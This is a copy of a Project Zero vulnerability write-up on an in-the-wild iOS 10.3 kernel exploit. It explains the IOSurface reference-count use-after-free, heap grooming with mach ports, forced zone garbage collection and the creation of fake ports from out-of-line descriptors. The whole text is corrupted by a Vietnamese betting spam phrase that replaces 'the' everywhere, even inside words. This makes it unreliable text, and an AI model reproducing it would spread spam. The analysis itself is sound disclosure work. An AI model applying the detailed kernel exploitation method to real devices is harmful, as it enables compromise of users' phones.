Thursday, August 29, 2019

In-cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365-wild iOS Exploit Chain 2

Posted by Ian Beer, Project Zero



TL;DR

This was an exploit for a known bug class which I had been auditing for since late 2016. The same anti-pattern which lead to this vulnerability, we’ll see again in Exploit Chain #3, which follows this post.  

This exploit chain targets iOS 10.3 through 10.3.3. Interestingly, I also independently discovered and reported this vulnerability to Apple, and it was fixed in iOS 11.2. 

This also demonstrates that Project Zero’s work does collide with bugs being exploited in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 wild.

In-cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365-wild iOS Exploit Chain 2 - IOSurface

targets: 5s through 7, 10.3 through 10.3.3 (vulnerability patched in 11.2)

iPhone6,1 (5s, N51AP)
iPhone6,2 (5s, N53AP)
iPhone7,1 (6 plus, N56AP)
iPhone7,2 (6, N61AP)
iPhone8,1 (6s, N71AP)
iPhone8,2 (6s plus, N66AP)
iPhone8,4 (SE, N69AP)
iPhone9,1 (7, D10AP)
iPhone9,2 (7 plus, D11AP)
iPhone9,3 (7, D101AP)
iPhone9,4 (7 plus, D111AP)

versions: (dates are release dates)

14E277 (10.3 - 27 Mar 2017)
14E304 (10.3.1 - 3 Apr 2017)
14F89 (10.3.2 - 15 May 2017)
14G60 (10.3.3 - 19 Jul 2017)

first unsupported version: 11.0 19 sep 2017

This bug wasn't patched until iOS 11.2, but cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y only supported iOS 10.3-10.3.3 (cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 last version of iOS 10.) For iOS 11 cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y moved to a new chain.

The kernel vulnerability 

The kernel bug used here is CVE-2017-13861; a bug collision with Project Zero issue 1417, aka async_wake. I independently discovered this vulnerability and reported it to Apple on October 30th 2017. The attackers appears to have ceased using this bug prior to me finding it; cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first unsupported version is iOS 11, released 19 September 2017. The bug wasn't fixed until iOS 11.2 however (released December 2nd 2017.)

The release of iOS 11 would have broken one of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploitation techniques used by this exploit; specifically in iOS 11 cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 mach_zone_force_gc() kernel MIG method was removed. It's unclear why cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y moved to a completely new chain for iOS 11 (with a new trick for forcing GC after cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 removal of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 method) racá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r than updating this chain. 

The vulnerability

We saw in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first chain that IOKit external methods can be called via cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 IOConnectCallMethod function. There's anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r function you can call instead: IOConnectCallAsyncMethod, which takes an extra mach port and reference argument:

kern_return_t
IOConnectCallMethod(mach_port_t     connection, 
                    uint32_t        selector,
                    const uint64_t* input,
                    uint32_t        inputCnt,
                    const void*     inputStruct,
                    size_t          inputStructCnt,
                    uint64_t*       output,
                    uint32_t*       outputCnt,
                    void*           outputStruct,
                    size_t*         outputStructCnt);

vs


kern_return_t
IOConnectCallAsyncMethod(mach_port_t     connection,
                         uint32_t        selector,
                         mach_port_t     wake_port,
                         uint64_t*       reference,
                         uint32_t        referenceCnt,
                         const uint64_t* input,
                         uint32_t        inputCnt,
                         const void*     inputStruct,
                         size_t          inputStructCnt,
                         uint64_t*       output,
                         uint32_t*       outputCnt,
                         void*           outputStruct,
                         size_t*         outputStructCnt);

The intention is to allow drivers to send a notification message to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 supplied mach port when an operation is completed (hence cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 "Async"(hronous) in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 name.)

Since IOConnectCallAsyncMethod is a MIG method cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 lifetime of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 wake_port argument will be subject to MIG's lifetime rules for mach ports.

MIG takes a reference on wake_port and calls cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 implementation of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 MIG method (which will cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n call in to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 IOKit driver's matching external method implementation.) The return value from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 external method will be propagated up to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 MIG level where cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following rule will be applied:

If cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 return code is non-zero, indicating an error, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n MIG will drop cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 reference it took on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 wake_port. If cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 return code is zero, indicating success, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n MIG will not drop cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 reference it took on wake_port, meaning cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 reference was transferred to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 external method.

The bug was that IOSurfaceRootUserClient external method 17 (s_set_surface_notify) would drop a reference on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 wake_port cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n also return an error code if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 client had previously registered a port with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same reference value. MIG would see that error code and drop a second reference on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 wake_port when only one reference was taken. This lead to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 reference count being out-of-sync with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 number of pointers to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 port, leading to a use-after-free.

Again, this is directly reachable from inside cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 MobileSafari renderer sandbox due to this line in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 sandbox profile:

(allow iokit-open
       (iokit-user-client-class "IOSurfaceRootUserClient")

Setup

This exploit also relies on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 system loader to resolve symbols. It uses cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same code as Exploit Chain #1 to terminate all ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r threads in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 current task. Before continuing on however, this exploit first tries to detect whecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r this device has already been exploited. It reads cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kern.bootargs sysctl variable, and if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bootargs contains cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 string "iop1" cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 thread goes into an infinite loop. At cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 end of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit we'll see cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel memory read/write primitive cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y build to add cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 "iop1" string to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bootargs.

They use cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same serialized NSDictionary technique to check whecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r this device and kernel version combo is supported and get cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 necessary offsets.

Exploitation

They call setrlimit with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 RLIMIT_NOFILE resource parameter to increase cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 open file limit to 0x2000. They cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n create 0x800 pipes, saving cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 read and write end file descriptors. Note that by default iOS has a low default limit for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 number of open file descriptors, hence cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 call to setrlimit.

They create an IOSurfaceRootUserClient connection; this time just used to trigger cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bug racá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r than for storing property objects.

They call mach_zone_force_gc(), indicating that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir initial resource setup is complete and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y're going to start cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 heap groom.

Kernel Zone allocator garbage collection

This exploit introduces a new technique involving cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 mach_zone_force_gc host port method. In cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first chain we saw cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 use of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel kalloc function for allocating kernel heap memory. The word heap is used here with its generic meaning of as "area used for scratch memory"; it has nothing to do with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 classical heap data structure. The memory returned by kalloc is actually from a zone allocator called zalloc.

The kernel reserves a fixed-size region of its virtual address space for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel zone allocator and defines a number of named zones. The virtual memory region is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n split up into chunks as zones grow based on dynamic memory allocation patterns. All zones return allocations of fixed sizes.

The kalloc function is a wrapper around a number of general-purpose fixed-sized zones such as kalloc.512, kalloc.6144 and so on. The kalloc wrapper function chooses cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 smallest kalloc.XXX zone size which will fit cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 requested allocation, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n asks cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 zone allocator to return a new allocation from that zone. In addition to kalloc zones, many kernel subsystems also define cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir own special purpose zones. The kernel structures representing mach ports for example are always allocated from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir own zone called ipc.ports. This is not intended to be a security mitigation (ala PartitionAlloc or GigaCage) but it does mean that an attacker has to take a few extra steps to build generic use-after-free exploits. 


Diagram showing the relationship between zalloc zones and the underlying allocator. The memory is split amongst the zones according to demand patterns, and returned to the underlying allocator on GC.



Over time zalloc zones can become fragmented. When cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re's memory pressure cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 zone allocator can perform a garbage collection. This has nothing to do with garbage collection in managed languages like java; cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 meaning here is much simpler: a zone GC operation involves finding zone chunks which consist of completely free allocations. Such chunks are removed from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 particular zone (eg kalloc.4096) and made available to all zones again.

Prior to iOS 11 it was possible to force such a zone garbage collection to occur by calling cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 mach_zone_force_gc() host port MIG method. Forcing a zone GC is a very useful primitive as it enables cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploitation of a bug involving objects from one zone to using objects from anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r. This technique will be used in all subsequent kernel exploits we'll look at.

Let's return to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit. They allocate two sets of ports:

  Set 1: 1200 ports
  Set 2: 1024 ports

As we saw in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first chain, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y're going to make use of mach message out-of-line memory descriptors for heap grooming. They make minor changes to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 function itself but cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 principle remains cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same, to make controlled-size kalloc allocations, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 lifetimes of which are tied to particular mach ports. They call send_kalloc_reserver:

  send_kalloc_reserver(v124, 4096, 0, 2560, 1);

This sends a mach message to port v124 with 2560 out-of-line descriptors, each of which causes a kalloc.4096 zone allocation. The contents of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 memory aren't important here, initially cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y're just trying to fill in any holes in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kalloc.4096 zone.

Port groom

We've seen that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 vulnerability involves mach ports, so we expect to see some heap grooming involving mach ports, which is what happens next. They allocate four more large groups of ports which I've named ports_3, ports_4, ports_5 and ports_6:

They allocate 10240 ports for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ports_3 group in a tight loop, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n allocate a single mach port which we'll call target_port_1. They cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n allocate anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r 5120 ports for ports_4 in a second loop.

They're trying to force a heap layout like cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following, where target_port_1 lies in an ipc_ports zone chunk where all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r ports in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 chunk are from eicá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r ports_3 or ports_4. Note that due to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 zone freelist mitigation introduced in iOS 9.2 cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re may be ports from both ports_3 and ports_4 before and after target_port_1:


Diagram showing a single ipc.ports zone chunk with target_port_1 near the middle surrounded by port allocations from the groups ports_3 and ports_4.


They perform this same groom again, now with
ports_5, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n target_port_2, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n ports_6:

Diagram showing a single ipc.ports zone chunk with target_port_2 near the middle surrounded by port allocations from the groups ports_5 and ports_6.

They send a send right to target_port_1 in an out-of-line ports descriptor in a mach message. Out-of-line ports, like out-of-line memory regions, will crop up again and again so it's worth looking at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m in detail.

Heap grooming technique: out of line ports

The descriptor structure used in a mach message for sending out-of-line ports is very similar to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 structure used for sending out-of-line memory:

typedef struct {
  void*                      address;
  boolean_t                  deallocate: 8;
  mach_msg_copy_options_t    copy: 8;
  mach_msg_type_name_t       disposition : 8;
  mach_msg_descriptor_type_t type : 8;
  mach_msg_size_t            count;
} mach_msg_ool_ports_descriptor_t;

The address field is again a pointer to a buffer, but this time racá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r than a size field cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re's a count field which specifies cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 number of mach port names contained in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 buffer. When cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel processes this descriptor (in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 function ipc_kmsg_copyin_ool_ports_descriptor in ipc_kmsg.c) it will look up each of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 names in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 out-of-line ports buffer, take a reference on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 underlying ipc_port structure and place that reference-carrying pointer in a kalloc'ed kernel buffer which reflects cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 layout of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 out-of-line ports buffer. Since a port name in userspace is 32-bits and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 iOS kernel is 64-bit (at least for all devices supported by this exploit) cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 size of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kalloc kernel buffer will be double cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 size of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 out-of-line ports descriptor (since each 32-bit name will become a 64-bit pointer.)


They cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n call external method 17 (s_set_surface_notify) once, passing target_port_1 as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 wake_port argument.

Understanding reference counting bugs means matching up references with pointers and understanding cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir lifetimes. To work out what's going on here we need to enumerate all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 pointers to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 target port and see what's holding references. Here's a diagram showing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 three reference-holding pointers to target_port_1 at this point:


Diagram showing the three reference-holding pointers to target_port_1. The first pointer, A, is in the current process's port namespace, which is an array hanging off the task structure via the itk_space->it_table fields.  The second pointer, B, is in an out-of-line port's descriptor buffer for a currently in-transit message.  The third pointer, C, is the async_wake port held by the IOSurfaceRooUserClient object.  The combination of these three reference-holding pointers means the target_port_1 ipc port structure has an io_references value of 3.



At this point cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re are three reference-holding pointers to target_port_1:
  • Pointer A is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 entry in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 renderer process's mach port names table (task->itk_space->it_table.)
  • Pointer B is in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 out-of-line ports buffer of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 message which is currently in transit. Note that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit sent this message to a port for which it owns cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 receive right, meaning that it can still receive this right by receiving cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 message.
  • Pointer C is held by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 IOSurfaceRootUserClient. There's no bug cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first time cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 s_set_surface_notify external method is called, so cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 userclient does correctly hold one reference for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 one pointer it has.

Triggering cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bug

They cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n call external method 17 again with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same arguments. As discussed earlier, this will cause an extra reference to be dropped on target_port_1, meaning cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re will still be three reference-holding pointers A, B and C but cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 io_references field of target_port_1 will be 2.

They cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n destroy cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 userclient, which drops its reference on target_port_1.

This means pointer C and one reference are gone, leaving pointers A and B and a reference count of one. The attackers cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n proceed as follows:

They destroy all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ports in ports_3:
Diagram showing target_port_1 near the middle of an ipc.ports zone chunk, where the ports from the group ports_3 have been free's, leaving only target_port_1 and ports from the ports_4 group in the ipc.ports zone chunk.

Then cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y destroy cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 port to which cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 message with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 out-of-line ports descriptor was sent. Since this will also destroy all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 messages enqueued in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 port's message queue, this will destroy pointer B and drop one more reference:
Diagram showing a single ipc.ports zone chunk with an arrow pointing to the memory previously occupied by target_port_1, which has now been freed but to which there is still a dangling pointer. The only other allocations in this zone chunk are from the group ports_4.

The reference count will go from one to zero, meaning that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 target_port_1 allocation will be freed back to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ipc_ports zone. But pointer A can still be used, and will now point to a free'd allocation in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ipc_ports zone chunk.

Finally cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y destroy ports_4, hopefully leaving cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 entire chunk which contained target_port_1 empty (but with pointer A still usable as a dangling ipc_port pointer.) 
Diagram showing the memory previously occupied by target_port_1 (to which there is now a dangling pointer.) The zone chunk is now completely empty.

At this point cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 zone chunk previously containing target_port_1 should be completely empty and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 mach_zone_force_gc() MIG method is called to reclaim cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 pages; making cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m available to be reused by all zones.

Note here that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit is making cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 assumption that only ports from ports_3, target_port_1 and ports_4 fill cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 target ipc_ports zone chunk. If that's not cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 case, because for example anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r task allocated a port while cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit was trying to fill ports_3 and ports_4, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit will fail because cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 chunk will not be garbage collected by mach_zone_force_gc(). target_port_1 will cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365refore continue to point to free'd ipc_port, most likely leading to a kernel panic later on.

The exploit will now try to perform a "zone transfer" operation, aiming to get cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 memory which cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 dangling pointer A points to in to a different zone. Specifically, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y are going to target kalloc.4096. This explains why cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y made a large number of kalloc.4096 allocations earlier (to fill in any holes in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 zone.)

They send a large number of mach messages with out-of-line ports descriptors to some of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ports cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y allocated at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 start of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit.

The descriptors each have 512 port names, meaning cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel will allocate a 4096 byte buffer (512 ports * 8 bytes per pointer) and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 port names alternate between MACH_PORT_NULL and target_port_2 in such a way that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 address of target_port_2 will overlap with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ip_context fields of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 dangling ipc_port.

This is a (now) well known technique for creating fake kernel objects from out-of-line ports descriptors.


Diagram showing the equivilence between the layout of an out-of-line ports descriptor in userspace and kernel space. For every four byte port name in userspace there will be an 8-byte kernel pointer in the kernel version of the descriptor. That means that the kernel descriptor will be twice the size of the userspace descriptor.


They send a very large number of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se descriptors; hoping that one of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m will replace cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 memory previously occupied by target_port_1. They cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n try to read cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 context value of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 dangling target_port_1 (which will use pointer A.)

  mach_port_get_context(mach_task_self(), port_to_test, &context_val);

This works because cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel code for mach_port_get_context is very simple; it doesn't take a reference on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 port, only holds a lock, reads cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ip_context field and returns. So it can work even with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 very sparsely populated replacement objects built from out-of-line ports descriptors.


If cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 memory which used to contain target_port_1 did get replaced by one of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 out-of-line ports descriptors, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 value read by mach_port_get_context will be a pointer to target_port_2, meaning cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y have disclosed where target_pointer_2 is in memory.

One of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 requirements for each of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 remaining exploits in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 chain is to have known data at a known location; cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y have now solved this problem for this chain.

Rinse and repeat

Now cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y know where target_port_2 is in memory, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y trigger cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 vulnerability a second time to get a second dangling port pointer, this time to target_port_2.

They start by destroying all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ports to which cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 replacer out-of-line ports descriptors were sent, which frees cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m all to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kalloc.4096 freelist. They cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n quickly make 12800 kalloc.4096 allocations via out-of-line memory descriptors so that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 memory which target_port_1 points to doesn't get reused for an uncontrolled allocation.

